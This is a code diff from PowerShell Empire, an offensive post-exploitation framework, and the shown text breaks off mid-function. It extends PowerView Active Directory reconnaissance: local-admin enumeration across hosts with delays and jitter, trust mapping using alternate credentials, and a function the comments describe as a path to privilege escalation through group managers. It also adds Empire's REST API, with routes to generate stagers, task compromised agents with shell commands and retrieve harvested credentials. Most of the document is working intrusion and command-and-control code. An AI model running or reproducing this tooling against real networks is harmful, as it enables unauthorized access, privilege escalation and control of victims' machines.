Switch. Search all domains in the forest for target users instead of just a single domain. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .PARAMETER Threads The maximum concurrent threads to execute. @@ -10496,6 +11493,9 @@ function Invoke-EnumerateLocalAdmin { [Switch] $TrustGroups, + [Switch] + $DomainOnly, + [String] $Domain, @@ -10507,7 +11507,10 @@ function Invoke-EnumerateLocalAdmin { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Switch] + $API ) begin { @@ -10520,7 +11523,13 @@ function Invoke-EnumerateLocalAdmin { Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -10534,18 +11543,11 @@ function Invoke-EnumerateLocalAdmin { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -10577,7 +11579,7 @@ function Invoke-EnumerateLocalAdmin { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) # optionally check if the server is up first $Up = $True @@ -10586,18 +11588,27 @@ function Invoke-EnumerateLocalAdmin { } if($Up) { # grab the users for the local admins on this server - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + if($API) { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API + } + else { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + } # if we just want to return cross-trust users - if($DomainSID -and $TrustGroupSIDS) { + if($DomainSID) { # get the local machine SID $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - + Write-Verbose "LocalSid for $ComputerName : $LocalSID" # filter out accounts that begin with the machine SID and domain SID # but preserve any groups that have users across a trust ($TrustGroupSIDS) $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } } + if($DomainOnly) { + $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} + } + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { # output the results to a csv if specified if($OutFile) { @@ -10609,11 +11620,10 @@ function Invoke-EnumerateLocalAdmin { } } else { - Write-Verbose "[!] No users returned from $Server" + Write-Verbose "[!] No users returned from $ComputerName" } } } - } process { @@ -10629,8 +11639,16 @@ function Invoke-EnumerateLocalAdmin { 'TrustGroupsSIDs' = $TrustGroupsSIDs } - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + # kick off the threaded script block + arguments + if($API) { + $ScriptParams['API'] = $True + } + + if($DomainOnly) { + $ScriptParams['DomainOnly'] = $True + } + + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10649,9 +11667,11 @@ function Invoke-EnumerateLocalAdmin { # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + + $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs } } } @@ -10712,7 +11732,7 @@ function Get-NetDomainTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -10722,13 +11742,21 @@ function Get-NetDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { + + if(!$Domain) { + $Domain = (Get-NetDomain -Credential $Credential).Name + } + if($LDAP -or $DomainController) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize if($TrustSearcher) { @@ -10772,11 +11800,11 @@ function Get-NetDomainTrust { else { # if we're using direct domain connections - $FoundDomain = Get-NetDomain -Domain $Domain + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential if($FoundDomain) { - (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() - } + $FoundDomain.GetAllTrustRelationships() + } } } } @@ -10792,6 +11820,11 @@ function Get-NetForestTrust { Return trusts for the specified forest. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestTrust @@ -10809,11 +11842,15 @@ function Get-NetForestTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) process { - $FoundForest = Get-NetForest -Forest $Forest + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + if($FoundForest) { $FoundForest.GetAllTrustRelationships() } @@ -11087,6 +12124,76 @@ function Find-ForeignGroup { } +function Find-ManagedSecurityGroup { +<# + .SYNOPSIS + + This function retrieves all security groups in the domain and identifies ones that + have a manager set. It also determines whether the manager has the ability to add + or remove members from the group. + + Author: Stuart Morgan (@ukstufus) + License: BSD 3-Clause + + .EXAMPLE + + PS C:\> Find-ManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + + Store a list of all security groups with managers in group-managers.csv + + .DESCRIPTION + + Authority to manipulate the group membership of AD security groups and distribution groups + can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically + used to delegate management authority to distribution groups, but Windows supports security groups + being managed in the same way. + + This function searches for AD groups which have a group manager set, and determines whether that + user can manipulate group membership. This could be a useful method of horizontal privilege + escalation, especially if the manager can manipulate the membership of a privileged group. + + .LINK + + https://github.com/PowerShellEmpire/Empire/pull/119 + +#> + + # Go through the list of security groups on the domain and identify those who have a manager + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { + + # Retrieve the object that the managedBy DN refers to + $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname + + # Create a results object to store our findings + $results_object = New-Object -TypeName PSObject -Property @{ + 'GroupCN' = $_.cn + 'GroupDN' = $_.distinguishedname + 'ManagerCN' = $group_manager.cn + 'ManagerDN' = $group_manager.distinguishedName + 'ManagerSAN' = $group_manager.samaccountname + 'ManagerType' = '' + 'CanManagerWrite' = $FALSE + } + + # Determine whether the manager is a user or a group + if ($group_manager.samaccounttype -eq 0x10000000) { + $results_object.ManagerType = 'Group' + } elseif ($group_manager.samaccounttype -eq 0x30000000) { + $results_object.ManagerType = 'User' + } + + # Find the ACLs that relate to the ability to write to the group + $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + + # Double-check that the manager + if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { + $results_object.CanManagerWrite = $TRUE + } + $results_object + } +} + + function Invoke-MapDomainTrust { <# .SYNOPSIS @@ -11107,6 +12214,11 @@ function Invoke-MapDomainTrust { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv @@ -11127,7 +12239,11 @@ function Invoke-MapDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) # keep track of domains seen so we don't hit infinite recursion @@ -11137,7 +12253,7 @@ function Invoke-MapDomainTrust { $Domains = New-Object System.Collections.Stack # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain).Name + $CurrentDomain = (Get-NetDomain -Credential $Credential).Name $Domains.push($CurrentDomain) while($Domains.Count -ne 0) { @@ -11145,7 +12261,7 @@ function Invoke-MapDomainTrust { $Domain = $Domains.Pop() # if we haven't seen this domain before - if (-not $SeenDomains.ContainsKey($Domain)) { + if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "Enumerating trusts for domain '$Domain'" @@ -11155,10 +12271,10 @@ function Invoke-MapDomainTrust { try { # get all the trusts for this domain if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential } else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } if($Trusts -isnot [system.array]) { @@ -11166,7 +12282,7 @@ function Invoke-MapDomainTrust { } # get any forest trusts, if they exist - $Trusts += Get-NetForestTrust -Forest $Domain + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential if ($Trusts) { @@ -11197,80 +12313,6 @@ function Invoke-MapDomainTrust { } } -function Find-ManagedSecurityGroups { -<# - .SYNOPSIS - - This function retrieves all security groups in the domain and identifies ones that - have a manager set. It also determines whether the manager has the ability to add - or remove members from the group. - - Author: Stuart Morgan (@ukstufus) - License: BSD 3-Clause - - .EXAMPLE - - PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv - - Store a list of all security groups with managers in group-managers.csv - - .DESCRIPTION - - Authority to manipulate the group membership of AD security groups and distribution groups - can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically - used to delegate management authority to distribution groups, but Windows supports security groups - being managed in the same way. - - This function searches for AD groups which have a group manager set, and determines whether that - user can manipulate group membership. This could be a useful method of horizontal privilege - escalation, especially if the manager can manipulate the membership of a privileged group. - - .LINK - - https://github.com/PowerShellEmpire/Empire/pull/119 - -#> - - # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { - - # Retrieve the object that the managedBy DN refers to - $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname - - # Create a results object to store our findings - $results_object = New-Object -TypeName PSObject -Property @{ - 'GroupCN' = $_.cn - 'GroupDN' = $_.distinguishedname - 'ManagerCN' = $group_manager.cn - 'ManagerDN' = $group_manager.distinguishedName - 'ManagerSAN' = $group_manager.samaccountname - 'ManagerType' = '' - 'CanManagerWrite' = $FALSE - } - - # Determine whether the manager is a user or a group - if ($group_manager.samaccounttype -eq 0x10000000) { - $results_object.ManagerType = 'Group' - } elseif ($group_manager.samaccounttype -eq 0x30000000) { - $results_object.ManagerType = 'User' - } - - # Find the ACLs that relate to the ability to write to the group - $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers - - # Double-check that the manager - if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { - $results_object.CanManagerWrite = $TRUE - } - - $results_object - - } - -} - - - ######################################################## # @@ -11288,11 +12330,14 @@ $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), @@ -11355,6 +12400,26 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ sesi10_idle_time = field 3 UInt32 } +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] diff --git a/data/module_source/trollsploit/Get-RickAstley.ps1 b/data/module_source/trollsploit/Get-RickAstley.ps1 new file mode 100644 index 000000000..581b87527 --- /dev/null +++ b/data/module_source/trollsploit/Get-RickAstley.ps1 @@ -0,0 +1,77 @@ +# from https://gist.githubusercontent.com/SadProcessor/3e413f9542b01ee90979/raw/463c518c90fca50a2cee594d1b619a0d3fb5bed5/Get-RickAstley.ps1 +function Get-RickAstley { + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(587,150)#D + [console]::beep(493,150)#B + Start-Sleep -m 20 + [console]::beep(698,400)#F + [console]::beep(698,400)#F + [console]::beep(659,500)#E + Start-Sleep -m 50 + ## + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(523,150)#C + [console]::beep(444,150)#B + Start-Sleep -m 20 + [console]::beep(659,400)#E + [console]::beep(659,400)#E + [console]::beep(587,400)#D + [console]::beep(523,100)#C + [console]::beep(440,100)#A + Start-Sleep -m 50 + ## + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(587,150)#D + [console]::beep(493,150)#B + Start-Sleep -m 20 + [console]::beep(587,400)#D + [console]::beep(659,400)#E + [console]::beep(523,400)#C + [console]::beep(493,150)#B + [console]::beep(440,150)#A + Start-Sleep -m 20 + [console]::beep(440,150)#A + [console]::beep(659,250)#E + [console]::beep(587,250)#D + Start-Sleep -m 200 + ## + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(587,150)#D + [console]::beep(493,150)#B + Start-Sleep -m 20 + [console]::beep(698,400)#F + [console]::beep(698,400)#F + [console]::beep(659,500)#E + Start-Sleep -m 50 + ## + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(523,150)#C + [console]::beep(440,150)#A + Start-Sleep -m 20 + [console]::beep(880,600)#A + [console]::beep(523,400)#C + [console]::beep(587,400)#D + [console]::beep(659,100)#E + [console]::beep(587,100)#D + start-sleep -m 50 + ## + [console]::beep(440,150)#A + [console]::beep(493,150)#B + [console]::beep(587,150)#D + [console]::beep(493,150)#B + Start-Sleep -m 20 + [console]::beep(587,400)#D + [console]::beep(659,400)#E + [console]::beep(523,400)#C + [console]::beep(493,150)#B + [console]::beep(440,150)#A + Start-Sleep -m 50 + [console]::beep(440,150)#A + [console]::beep(659,250)#E + [console]::beep(587,250)#D +} \ No newline at end of file diff --git a/empire b/empire index d09cb2eeb..2fed7c2b2 100755 --- a/empire +++ b/empire @@ -1,13 +1,1167 @@ #!/usr/bin/python -import sqlite3, argparse +import sqlite3, argparse, sys, argparse, logging, json, string, os, re, time, signal, copy, base64 +from flask import Flask, request, jsonify, make_response, abort +from time import localtime, strftime +from OpenSSL import SSL +from Crypto.Random import random # Empire imports from lib.common import empire -from lib.common import listeners -from lib.common import http -from lib.common import packets -from lib.common import messages +from lib.common import helpers + +global serverExitCommand +serverExitCommand = 'restart' + +##################################################### +# +# Database interaction methods for the RESTful API +# +##################################################### + +def database_connect(): + """ + Connect with the backend ./empire.db sqlite database and return the + connection object. + """ + try: + # set the database connectiont to autocommit w/ isolation level + conn = sqlite3.connect('./data/empire.db', check_same_thread=False) + conn.text_factory = str + conn.isolation_level = None + return conn + + except Exception as e: + print helpers.color("[!] Could not connect to database") + print helpers.color("[!] Please run database_setup.py") + sys.exit() + + +def execute_db_query(conn, query, args=None): + """ + Execute the supplied query on the provided db conn object + with optional args for a paramaterized query. + """ + cur = conn.cursor() + if(args): + cur.execute(query, args) + else: + cur.execute(query) + results = cur.fetchall() + cur.close() + return results + + +def refresh_api_token(conn): + """ + Generates a randomized RESTful API token and updates the value + in the config stored in the backend database. + """ + + # generate a randomized API token + apiToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40)) + + execute_db_query(conn, "UPDATE config SET api_current_token=?", [apiToken]) + + return apiToken + + +def get_permanent_token(conn): + """ + Returns the permanent API token stored in empire.db. + + If one doesn't exist, it will generate one and store it before returning. + """ + + permanentToken = execute_db_query(conn, "SELECT api_permanent_token FROM config")[0] + if not permanentToken[0]: + permanentToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40)) + execute_db_query(conn, "UPDATE config SET api_permanent_token=?", [permanentToken]) + + return permanentToken[0] + + +#################################################################### +# +# The Empire RESTful API. +# +# Adapted from http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask +# example code at https://gist.github.com/miguelgrinberg/5614326 +# +# Verb URI Action +# ---- --- ------ +# GET http://localhost:1337/api/version return the current Empire version +# +# GET http://localhost:1337/api/config return the current default config +# +# GET http://localhost:1337/api/stagers return all current stagers +# GET http://localhost:1337/api/stagers/X return the stager with name X +# POST http://localhost:1337/api/stagers generate a stager given supplied options (need to implement) +# +# GET http://localhost:1337/api/modules return all current modules +# GET http://localhost:1337/api/modules/ return the module with the specified name +# POST http://localhost:1337/api/modules/ execute the given module with the specified options +# POST http://localhost:1337/api/modules/search searches modulesfor a passed term +# POST http://localhost:1337/api/modules/search/modulename searches module names for a specific term +# POST http://localhost:1337/api/modules/search/description searches module descriptions for a specific term +# POST http://localhost:1337/api/modules/search/description searches module comments for a specific term +# POST http://localhost:1337/api/modules/search/author searches module authors for a specific term +# +# GET http://localhost:1337/api/listeners return all current listeners +# GET http://localhost:1337/api/listeners/Y return the listener with id Y +# GET http://localhost:1337/api/listeners/options return all listener options +# POST http://localhost:1337/api/listeners starts a new listener with the specified options +# DELETE http://localhost:1337/api/listeners/Y kills listener Y +# +# GET http://localhost:1337/api/agents return all current agents +# GET http://localhost:1337/api/agents/stale return all stale agents +# DELETE http://localhost:1337/api/agents/stale removes stale agents from the database +# DELETE http://localhost:1337/api/agents/Y removes agent Y from the database +# GET http://localhost:1337/api/agents/Y return the agent with name Y +# GET http://localhost:1337/api/agents/Y/results return tasking results for the agent with name Y +# DELETE http://localhost:1337/api/agents/Y/results deletes the result buffer for agent Y +# POST http://localhost:1337/api/agents/Y/shell task agent Y to execute a shell command +# POST http://localhost:1337/api/agents/Y/rename rename agent Y +# GET/POST http://localhost:1337/api/agents/Y/clear clears the result buffer for agent Y +# GET/POST http://localhost:1337/api/agents/Y/kill kill agent Y +# +# GET http://localhost:1337/api/reporting return all logged events +# GET http://localhost:1337/api/reporting/agent/X return all logged events for the given agent name X +# GET http://localhost:1337/api/reporting/type/Y return all logged events of type Y (checkin, task, result, rename) +# GET http://localhost:1337/api/reporting/msg/Z return all logged events matching message Z, wildcards accepted +# +# GET http://localhost:1337/api/creds return stored credentials +# +# GET http://localhost:1337/api/admin/login retrieve the API token given the correct username and password +# GET http://localhost:1337/api/admin/permanenttoken retrieve the permanent API token, generating/storing one if it doesn't already exist +# GET http://localhost:1337/api/admin/shutdown shutdown the RESTful API +# GET http://localhost:1337/api/admin/restart restart the RESTful API +# +#################################################################### + +def start_restful_api(startEmpire=False, suppress=False, username=None, password=None, port=1337): + """ + Kick off the RESTful API with the given parameters. + + startEmpire - start a complete Empire instance in the backend as well + suppress - suppress most console output + username - optional username to use for the API, otherwise pulls from the empire.db config + password - optional password to use for the API, otherwise pulls from the empire.db config + port - port to start the API on, defaults to 1337 ;) + """ + + app = Flask(__name__) + + conn = database_connect() + + global serverExitCommand + + # if a username/password were not supplied, use the creds stored in the db + (dbUsername, dbPassword) = execute_db_query(conn, "SELECT api_username, api_password FROM config")[0] + + if not username: + username = dbUsername + + if not password: + password = dbPassword + + + class Namespace: + def __init__(self, **kwargs): + self.__dict__.update(kwargs) + + # instantiate an Empire instance in case we need to interact with stagers or listeners + args = Namespace(debug=None, listener=None, stager=None, stager_options=None, version=False) + + print "" + + if startEmpire: + # if we want to start a full-running empire instance + print " * Starting a full Empire instance" + main = empire.MainMenu(args=args) + else: + # if we just want the RESTful API, i.e. no listener/etc. startup + main = empire.MainMenu(args=args, restAPI=True) + + + print " * Starting Empire RESTful API on port: %s" %(port) + + # refresh the token for the RESTful API + apiToken = refresh_api_token(conn) + print " * RESTful API token: %s" %(apiToken) + + permanentApiToken = get_permanent_token(conn) + tokenAllowed = re.compile("^[0-9a-z]{40}") + + oldStdout = sys.stdout + if suppress: + # suppress the normal Flask output + log = logging.getLogger('werkzeug') + log.setLevel(logging.ERROR) + + # suppress all stdout and don't initiate the main cmdloop + sys.stdout = open(os.devnull, 'w') + + + # validate API token before every request except for the login URI + @app.before_request + def check_token(): + if request.path != '/api/admin/login': + token = request.args.get('token') + if (not token) or (not tokenAllowed.match(token)): + return make_response('', 403) + if (token != apiToken) and (token != permanentApiToken): + return make_response('', 403) + + + @app.errorhandler(Exception) + def exception_handler(error): + return repr(error) + + + @app.errorhandler(404) + def not_found(error): + return make_response(jsonify( { 'error': 'Not found' } ), 404) + + + @app.route('/api/version', methods=['GET']) + def get_version(): + """ + Returns the current Empire version. + """ + return jsonify({'version': empire.VERSION}) + + + @app.route('/api/config', methods=['GET']) + def get_config(): + """ + Returns JSON of the current Empire config. + """ + configRaw = execute_db_query(conn, 'SELECT * FROM config') + + [staging_key, stage0_uri, stage1_uri, stage2_uri, default_delay, default_jitter, default_profile, default_cert_path, default_port, install_path, server_version, ip_whitelist, ip_blacklist, default_lost_limit, autorun_command, autorun_data, api_username, api_password, current_api_token, permanent_api_token] = configRaw[0] + config = [{"version":empire.VERSION, "staging_key":staging_key, "stage0_uri":stage0_uri, "stage1_uri":stage1_uri, "stage2_uri":stage2_uri, "default_delay":default_delay, "default_jitter":default_jitter, "default_profile":default_profile, "default_cert_path":default_cert_path, "default_port":default_port, "install_path":install_path, "server_version":server_version, "ip_whitelist":ip_whitelist, "ip_blacklist":ip_blacklist, "default_lost_limit":default_lost_limit, "autorun_command":autorun_command, "autorun_data":autorun_data, "api_username":api_username, "api_password":api_password, "current_api_token":current_api_token, "permanent_api_token":permanent_api_token}] + return jsonify({'config': config}) + + + @app.route('/api/stagers', methods=['GET']) + def get_stagers(): + """ + Returns JSON describing all stagers. + """ + + stagers = [] + for stagerName,stager in main.stagers.stagers.iteritems(): + info = copy.deepcopy(stager.info) + info['options'] = stager.options + info['Name'] = stagerName + stagers.append(info) + + return jsonify({'stagers': stagers}) + + + @app.route('/api/stagers/', methods=['GET']) + def get_stagers_name(stager_name): + """ + Returns JSON describing the specified stager_name passed. + """ + + if stager_name not in main.stagers.stagers: + return make_response(jsonify( {'error': 'stager name %s not found' %(stager_name) } ), 404) + + stagers = [] + for stagerName,stager in main.stagers.stagers.iteritems(): + if(stagerName == stager_name): + info = copy.deepcopy(stager.info) + info['options'] = stager.options + info['Name'] = stagerName + stagers.append(info) + + return jsonify({'stagers': stagers}) + + + @app.route('/api/stagers', methods=['POST']) + def generate_stager(): + """ + Generates a stager with the supplied config and returns JSON information + describing the generated stager, with 'Output' being the stager output. + + Required JSON args: + StagerName - the stager name to generate + Listener - the Listener name to use for the stager + """ + if not request.json or not 'StagerName' in request.json or not 'Listener' in request.json: + abort(400) + + stagerName = request.json['StagerName'] + listener = request.json['Listener'] + + if stagerName not in main.stagers.stagers: + return make_response(jsonify( {'error': 'stager name %s not found' %(stagerName) } ), 404) + + if not main.listeners.is_listener_valid(listener): + return make_response(jsonify({'error': 'invalid listener ID or name'}), 400) + + stager = main.stagers.stagers[stagerName] + + # set all passed options + for option,values in request.json.iteritems(): + if option != 'StagerName': + if(option not in stager.options): + return make_response(jsonify({'error': 'Invalid option %s, check capitalization.' %(option)}), 400) + stager.options[option]['Value'] = values + + # validate stager options + for option,values in stager.options.iteritems(): + if values['Required'] and ((not values['Value']) or (values['Value'] == '')): + return make_response(jsonify({'error': 'required stager options missing'}), 400) + + stagerOut = copy.deepcopy(stager.options) + + if ('OutFile' in stagerOut) and (stagerOut['OutFile']['Value'] != ''): + # if the output was intended for a file, return the base64 encoded text + stagerOut['Output'] = base64.b64encode(stager.generate()) + else: + # otherwise return the text of the stager generation + stagerOut['Output'] = stager.generate() + + return jsonify({stagerName: stagerOut}) + + + @app.route('/api/modules', methods=['GET']) + def get_modules(): + """ + Returns JSON describing all currently loaded modules. + """ + + modules = [] + for moduleName,module in main.modules.modules.iteritems(): + moduleInfo = copy.deepcopy(module.info) + moduleInfo['options'] = module.options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/', methods=['GET']) + def get_module_name(module_name): + """ + Returns JSON describing the specified currently module. + """ + + if module_name not in main.modules.modules: + return make_response(jsonify( {'error': 'module name %s not found' %(module_name) } ), 404) + + modules = [] + moduleInfo = copy.deepcopy(main.modules.modules[module_name].info) + moduleInfo['options'] = main.modules.modules[module_name].options + moduleInfo['Name'] = module_name + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/', methods=['POST']) + def execute_module(module_name): + """ + Executes a given module name with the specified parameters. + """ + + # ensure the 'Agent' argument is set + if not request.json or not 'Agent' in request.json: + abort(400) + + if module_name not in main.modules.modules: + return make_response(jsonify( {'error': 'module name %s not found' %(module_name) } ), 404) + + module = main.modules.modules[module_name] + + # set all passed module options + for key,value in request.json.iteritems(): + if key not in module.options: + return make_response(jsonify({'error': 'invalid module option'}), 400) + + module.options[key]['Value'] = value + + # validate module options + sessionID = module.options['Agent']['Value'] + + for option,values in module.options.iteritems(): + if values['Required'] and ((not values['Value']) or (values['Value'] == '')): + return make_response(jsonify({'error': 'required module option missing'}), 400) + + try: + # if we're running this module for all agents, skip this validation + if sessionID.lower() != "all" and sessionID.lower() != "autorun": + + if not main.agents.is_agent_present(sessionID): + return make_response(jsonify({'error': 'invalid agent name'}), 400) + + modulePSVersion = int(module.info['MinPSVersion']) + agentPSVersion = int(main.agents.get_ps_version(sessionID)) + # check if the agent/module PowerShell versions are compatible + if modulePSVersion > agentPSVersion: + return make_response(jsonify({'error': "module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)}), 400) + + except Exception as e: + return make_response(jsonify({'error': 'exception: %s' %(e)}), 400) + + # check if the module needs admin privs + if module.info['NeedsAdmin']: + # if we're running this module for all agents, skip this validation + if sessionID.lower() != "all" and sessionID.lower() != "autorun": + if not main.agents.is_agent_elevated(sessionID): + return make_response(jsonify({'error': 'module needs to run in an elevated context'}), 400) + + + # actually execute the module + moduleData = module.generate() + + if not moduleData or moduleData == "": + return make_response(jsonify({'error': 'module produced an empty script'}), 400) + + try: + moduleData.decode('ascii') + except UnicodeDecodeError: + 